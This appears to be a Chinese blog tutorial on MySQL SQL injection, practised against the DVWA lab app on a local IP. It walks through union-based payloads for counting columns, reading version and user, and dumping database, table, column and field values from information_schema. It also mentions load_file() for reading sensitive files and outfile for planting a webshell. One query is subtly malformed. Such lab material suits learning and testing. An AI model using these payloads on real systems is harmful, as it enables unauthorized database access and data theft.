美文网首页
😍MySQL注入

😍MySQL注入

作者: 卿酌南烛_b805 | 来源:发表于2020-08-04 08:06 被阅读0次

🤴一、首先判断MySQL数据库版本

' union select user(),database()+--+ 查询数据库的版本。

MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。

首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多

通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。

通过dumpfile/outfile函数导出获取WebShell。


爆数据库版本

'union select user(),version()+--+&Submit=Submit#

检测注入点字段数目

order by和union select

通过order by查出字段数目N,然后联合查询。

and1=2 union select 1,2,3,4...,N--

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1' and 1=2 union select 1,2+--+&Submit=Submit#没报错到3就报错,说明2个字段

快速爆数据库版本、数据库名、链接用户

得到注入点处字段数目为“2"。再一次爆出数据库版本、数据库名和链接用户信息。

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/ id=1' union select user(),version()--+&Submit=Submit# +--+&Submit=Submit

得到数据库版本为5.1.50,数据库名为“dvwa 数据库用户名为root "

爆出所有库名

在MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单

' union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit 获取mysql所有库

爆出所有数据库名,共有9个数据库:information_schema,dedecms,dvwa,e,mambo......

爆当前库里面所有表名

http://192.168.1.55:8080/dvwa/vulnerabilities/sqli/?id=1'and1=2 union select 1,group_concat(table_name) from information_schema.tableswhere table_schema=database()+--+&Submit=Submit



爆表中的字段名

 union select group_concat(SCHEMA_NAME) from information_schema.schemata.columns where table_name=表名的十六进制编码

该语句是将指定的表名转换为十六进制编码,查询该表名中“COLUMNS”表中存储的与该表名相同的数据库中的所有字段名,从而获得当前数据库指定表中的所有字段名。


爆指定字段值

select group_concat(字段名1,0x7c,字段名2) from 表名

该语句是通过查询指定表中指定字段名的值,在此查询语句中就不必对字段名和表名进行十六进制编码转换了。其中有一个Ox7c是分隔符“|”的十六进制编码,用于对查询结果中的字段名进行分隔显示。


当数据库版本为4的时候

使用利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。




相关文章

  • 小迪16期-20170401

    第六天:MySQL防注入研究 MySQL头注入(http)Access偏移注入CSRF攻击 MySQL防注入 过滤...

  • sql注入-updatexml报错注入

    参考:MySQL updatexml报错注入MySQL updatexml()、extractvalue() 报错...

  • MySQL注入总结

    目录: 0x00 mysql一般注入(select) 0x01 mysql一般注入(insert、update) ...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 详解MySQL注入利用的变量

    MySQL注入数据库时,我们可以利用内置的变量来得到更多的mysql信息,下面就让我们一起来了解MySQL注入利用...

  • Mysql注入-时间注入

    时间注入是利用返回页面时间的差异,来判断条件是否满足,以此逐字猜测数据库的一种注入 关键函数if(),sleep(...

  • Mysql注入-报错注入

    当页面存在注入点并且回显报错信息时,我们就可以利用报错注入 updataxml报错注入: 该报错最多显示32位,若...

  • mysql注入

    MYSQL注入 (1)判断是否存在SQL注入 and1=1 and 1=2 (2)爆字段 orderby猜测的字段...

  • mysql注入

    注释符 # /**/ --+ -- - %00 union,select关键过滤:/!union//!select...

  • mysql注入

    说明 语言python 代码基于 tornado框架 数据库是用Navicat操作的 引入python操作SQL的...

网友评论

      本文标题:😍MySQL注入

      本文链接:https://www.haomeiwen.com/subject/idkhrktx.html